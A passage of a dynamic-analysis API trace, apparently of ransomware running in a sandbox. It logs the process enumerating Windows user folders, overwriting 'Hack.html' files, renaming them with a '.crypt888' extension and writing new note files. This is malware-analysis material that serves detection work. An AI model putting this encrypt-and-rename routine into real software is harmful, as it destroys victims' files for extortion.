lpOldMode=0x39ec88) returned 1 [0091.536] GetFileType (hFile=0x174) returned 0x1 [0091.536] WriteFile (in: hFile=0x174, lpBuffer=0x273d70c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x273d70c*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.537] CloseHandle (hObject=0x174) returned 1 [0091.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.537] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2a [0091.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html" (normalized: "c:\\users\\default\\videos\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a03aa0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc7a03aa0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7c18de0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.538] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Videos\\Hack.html" (normalized: "c:\\users\\default\\videos\\hack.html"), lpNewFileName="C:\\Users\\Default\\Videos\\Hack.html.crypt888" (normalized: "c:\\users\\default\\videos\\hack.html.crypt888")) returned 1 [0091.539] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Videos\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.539] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\Hack.html" (normalized: "c:\\users\\default\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.539] GetFileType (hFile=0x174) returned 0x1 [0091.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.539] GetFileType (hFile=0x174) returned 0x1 [0091.539] WriteFile (in: hFile=0x174, lpBuffer=0x273ffac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x273ffac*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.540] CloseHandle (hObject=0x174) returned 1 [0091.540] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Hack.html", lpFilePart=0x0) returned 0x1a [0091.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0091.540] CreateFileW (lpFileName="C:\\Users\\Default\\Hack.html" (normalized: "c:\\users\\default\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.541] GetFileType (hFile=0x174) returned 0x1 [0091.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0091.541] GetFileType (hFile=0x174) returned 0x1 [0091.541] WriteFile (in: hFile=0x174, lpBuffer=0x274271c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x274271c*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0091.542] CloseHandle (hObject=0x174) returned 1 [0091.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0091.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0091.542] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\", lpFilePart=0x0) returned 0x16 [0091.542] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0091.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0091.543] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\Hack.html", lpFilePart=0x0) returned 0x1f [0091.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0091.544] CreateFileW (lpFileName="C:\\Users\\Default User\\Hack.html" (normalized: "c:\\users\\default user\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.544] GetFileType (hFile=0x174) returned 0x1 [0091.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0091.544] GetFileType (hFile=0x174) returned 0x1 [0091.545] WriteFile (in: hFile=0x174, lpBuffer=0x27458bc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x27458bc*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0091.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0091.546] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0091.546] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\", lpFilePart=0x0) returned 0x10 [0091.546] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a468 [0091.548] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.548] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.549] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.550] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.550] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0091.550] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0091.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0091.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0091.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0091.550] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0091.550] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\", lpFilePart=0x0) returned 0x10 [0091.550] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a468 [0091.550] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.550] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.551] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0091.552] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0091.552] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0091.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0091.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0091.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.552] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0091.552] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\", lpFilePart=0x0) returned 0x18 [0091.552] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a468 [0091.552] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.552] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.552] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.553] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.553] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.553] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.553] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.553] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0091.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop", lpFilePart=0x0) returned 0x17 [0091.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\", lpFilePart=0x0) returned 0x18 [0091.553] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Desktop\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a468 [0091.553] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.554] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.554] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0091.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.555] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.555] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Hack.html" (normalized: "c:\\users\\public\\desktop\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.555] GetFileType (hFile=0x174) returned 0x1 [0091.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.555] GetFileType (hFile=0x174) returned 0x1 [0091.555] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.556] ReadFile (in: hFile=0x174, lpBuffer=0x274a5e4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x274a5e4*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.556] CloseHandle (hObject=0x174) returned 1 [0091.597] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.597] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Hack.html" (normalized: "c:\\users\\public\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.598] GetFileType (hFile=0x174) returned 0x1 [0091.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.598] GetFileType (hFile=0x174) returned 0x1 [0091.598] WriteFile (in: hFile=0x174, lpBuffer=0x279872c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x279872c*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.599] CloseHandle (hObject=0x174) returned 1 [0091.599] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.600] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2a [0091.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html" (normalized: "c:\\users\\public\\desktop\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37bbe0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba37bbe0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7cb1360, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.600] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Hack.html" (normalized: "c:\\users\\public\\desktop\\hack.html"), lpNewFileName="C:\\Users\\Public\\Desktop\\Hack.html.crypt888" (normalized: "c:\\users\\public\\desktop\\hack.html.crypt888")) returned 1 [0091.601] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x21 [0091.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.601] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Hack.html" (normalized: "c:\\users\\public\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.602] GetFileType (hFile=0x174) returned 0x1 [0091.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.602] GetFileType (hFile=0x174) returned 0x1 [0091.602] WriteFile (in: hFile=0x174, lpBuffer=0x279afe4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x279afe4*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.603] CloseHandle (hObject=0x174) returned 1 [0091.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.603] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0091.604] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\", lpFilePart=0x0) returned 0x1a [0091.604] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a628 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.604] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.605] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.605] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents", lpFilePart=0x0) returned 0x19 [0091.605] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\", lpFilePart=0x0) returned 0x1a [0091.605] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a628 [0091.605] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.605] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.605] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.606] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.606] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.606] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.606] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\Hack.html" (normalized: "c:\\users\\public\\documents\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.606] GetFileType (hFile=0x174) returned 0x1 [0091.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.606] GetFileType (hFile=0x174) returned 0x1 [0091.606] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.606] ReadFile (in: hFile=0x174, lpBuffer=0x279dc64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x279dc64*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.606] CloseHandle (hObject=0x174) returned 1 [0091.620] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.620] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\Hack.html" (normalized: "c:\\users\\public\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.621] GetFileType (hFile=0x174) returned 0x1 [0091.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.621] GetFileType (hFile=0x174) returned 0x1 [0091.621] WriteFile (in: hFile=0x174, lpBuffer=0x27ebdb0*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27ebdb0*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.622] CloseHandle (hObject=0x174) returned 1 [0091.622] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.622] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2c [0091.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html" (normalized: "c:\\users\\public\\documents\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37bbe0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba37bbe0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7cfd620, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.622] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\Hack.html" (normalized: "c:\\users\\public\\documents\\hack.html"), lpNewFileName="C:\\Users\\Public\\Documents\\Hack.html.crypt888" (normalized: "c:\\users\\public\\documents\\hack.html.crypt888")) returned 1 [0091.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.623] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music", lpFilePart=0x0) returned 0x22 [0091.623] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\", lpFilePart=0x0) returned 0x23 [0091.623] FindFirstFileW 